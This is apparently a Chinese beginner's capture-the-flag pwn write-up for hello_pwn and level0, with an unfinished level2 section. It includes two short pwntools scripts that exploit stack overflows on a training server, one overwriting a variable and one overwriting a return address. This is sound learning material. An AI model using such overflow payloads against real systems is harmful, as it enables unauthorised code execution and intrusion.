感谢组长和其他高手让我入门学pwn,个人感觉做题和看课程应该一块推进,光看课程,容易疲乏,而且缺乏经验。只做题,学的知识缺乏体系,因此决定立志每天看课+做题(先保证不挂科的前提下),逆向我也觉得应该这样搞。
1.get_shell
直接nc连接后cat flag即可,不过多讲述。
2.hello_pwn
不写脚本思路
先用IDA分析main函数。
其中read函数第一个参数0表示从键盘中读取数据,因此就是输入。 我们点击n,看看内存布局是什么。其实在这里就可以怀疑这道题是栈溢出了。
通过观察看到,n和goal相差4的字节。 每一个0x1就是一个字节。我们通过read输入了大于4字节的东西,多的就会“溢出”跑到goal的地址,从而篡改goal的内容。我们尝试不编写脚本,直接输入看看。需要注意一个字符占1字节,我们需要先输入4个字符
没有效果。这是因为我们输入的数字多占了好多字节。汇编语言对goal使用dd定义,也就是4个字节。4个字节对应4个字符,所以我们需要考虑把数字转换为4个字符才可。在IDA中,大于等于两字节的数据的存储方式和我们的阅读习惯相反。IDA将数字转为字符是nuaa,(大于2字节,是小端序,所以我们需要将其转换为aaun才可,与我们阅读习惯相反)
大家看,成功了,下面用nc连接靶机正常输入就可以了。
写脚本思路
用pwntools写脚本,一是锻炼自己的能力,二是顺手给自己增加自信。但是py脚本我并不擅长,只是摸着石头过河。
from pwn import *#首先引入pwntool库
p=remote('61.147.171.105',52789)#链接靶机
payload=b'a'*4+p32(1853186401)#构造payloacd,首先填充4字节无意义数据,再用p32把目标数字转换为4字节来修改指定变量的值
p.sendline(payload)#发送paylaod
p.interactive()
最终会在终端输出flag。
3.level0
checksec发现没有栈保护。
这个函数会在main函数结束后执行。main函数return的就是这个函数的调用结果。这个函数执行的时候明显会调用read函数。调用read函数,明显这里应该存在溢出。
但是发现函数的地址一直在低地址,这些函数都在高地址,怎么实现高地址对低地址的控制?好烦!查看writeup吧。
发现还是对栈溢出理解不到位。
这应该是栈帧视图。观察read函数上的buf字符数组,其长度为 80.它的下面还有s和r,r肯定保存着返回地址,s应该是保存的寄存器内容。我们只需要利用栈溢出,修改r的内容。s的长度是8.据此写出payload。具体的解释看下图,我们填满了函数自己的栈,溢出的内容覆盖了r.
我们看这个函数的汇编语言。在call read之前,肯定已经将下一个指令的地址储存在栈顶部了。我们的read函数会多让我们输入字节。我们只要填满buf字符数组.
payload:
from pwn import *#首先引入pwntool库
p=remote(' 61.147.171.105',55683)#链接靶机
payload=b'a'*0x88+p64(0x400596)#构造payloacd,首先填充88字节,因为64位,再用p64覆盖地址
#需要注意是16进制,我用10进制没打通,估计需要进制转换
p.sendline(payload)#发送paylaod
p.interactive()#一会儿输入命令用
直接出现flag了。
4.level2
不知道为啥level2竟然比level1做出来的的人还多。现在开始尝试做这一道题。题目提示面向返回,估计八成还是栈溢出。
----------------------待更新---------------------------------------------------------------------